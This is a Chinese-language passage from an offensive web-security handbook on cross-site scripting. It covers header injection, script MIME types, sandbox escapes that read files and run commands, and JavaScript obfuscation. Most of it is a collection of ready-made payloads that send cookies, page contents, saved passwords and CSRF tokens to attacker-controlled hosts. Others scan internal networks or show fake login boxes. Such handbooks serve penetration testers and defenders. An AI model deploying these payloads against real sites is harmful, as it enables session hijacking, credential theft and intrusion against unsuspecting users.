### XSS与302响应中的头注入
如果你发现可以**在302重定向响应中注入头部**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何测试Location头中的几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
已知的过去协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
### 仅限字母、数字和点
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
### 有效的`<script>`内容类型以进行XSS
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本,Chrome将抛出以下错误:
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本,因为其MIME类型(‘application/octet-stream’)不可执行,并且启用了严格的MIME类型检查。
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中常量**`kSupportedJavascriptTypes`**内的类型。
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">c</span></div>
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
```
### Script Types to XSS
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本呢?
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>
```html
<script type="???"></script>
```
- **module** (默认,无需解释)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,您可以将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>
```html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** 允许改进导入语法
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>
```html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
```
这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval,以利用它触发 XSS。
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理如下:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>
```html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
```
### Web Content-Types to XSS
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行 XSS:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
- application/rss+xml (关闭)
- application/atom+xml (关闭)
在其他浏览器中,其他 **`Content-Types`** 可以用来执行任意 JS,查看: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
如果页面返回 text/xml 内容类型,可以指示一个命名空间并执行任意 JS:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">xml</span></div>
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### 特殊替换模式
当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时,攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些保护措施: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例如,在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来 **转义脚本中的 JSON 字符串** 并执行任意代码。
### Chrome 缓存到 XSS
<a class="content_ref" href="chrome-cache-to-xss.md"><span class="content_ref_label">Chrome Cache to XSS</span></a>
### XS 监狱逃逸
如果您只能使用有限的字符集,请查看这些其他有效的解决方案以解决 XSJail 问题:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
如果在执行不受信任的代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)中所述),则可以“凭空”生成有用的对象,以滥用任意不受信任代码的执行:
- 使用 import()
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- 间接访问 `require`
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
因此,如果我们可以从该模块**调用另一个函数**,则可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
```
以与之前示例类似的方式,可以**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
```
### 混淆与高级绕过
- **同一页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
- 更复杂的 JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
```
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS 常见有效载荷
### 多个有效载荷在 1 中
<a class="content_ref" href="steal-info-js.md"><span class="content_ref_label">Steal Info JS</span></a>
### Iframe 陷阱
使用户在页面中导航而不退出 iframe,并窃取其操作(包括在表单中发送的信息):
<a class="content_ref" href="../iframe-traps.md"><span class="content_ref_label">Iframe Traps</span></a>
### 获取 Cookies
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
<div class="mdbook-alerts mdbook-alerts-note">
<p class="mdbook-alerts-title">
<span class="mdbook-alerts-icon"></span>
note
</p>
如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运,这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
</div>
### 偷取页面内容
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
```
### 查找内部IP
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>
```html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
```
### 端口扫描器 (fetch)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### 端口扫描器 (websockets)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
```
_短时间表示端口响应_ _较长时间表示没有响应。_
查看 Chrome 中禁止的端口列表 [**这里**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) 和 Firefox 中的 [**这里**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
### 询问凭据的框
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### 自动填充密码捕获
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```
当任何数据被输入到密码字段时,用户名和密码会被发送到攻击者的服务器,即使客户端选择了一个保存的密码而没有输入任何内容,凭据也会被外泄。
### Keylogger
仅在 GitHub 上搜索,我找到了几个不同的:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- 你也可以使用 metasploit `http_javascript_keylogger`
### Stealing CSRF tokens
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### 偷窃 PostMessage 消息
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>
```markup
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### 滥用服务工作者
<a class="content_ref" href="abusing-service-workers.md"><span class="content_ref_label">Abusing Service Workers</span></a>
### 访问影子DOM
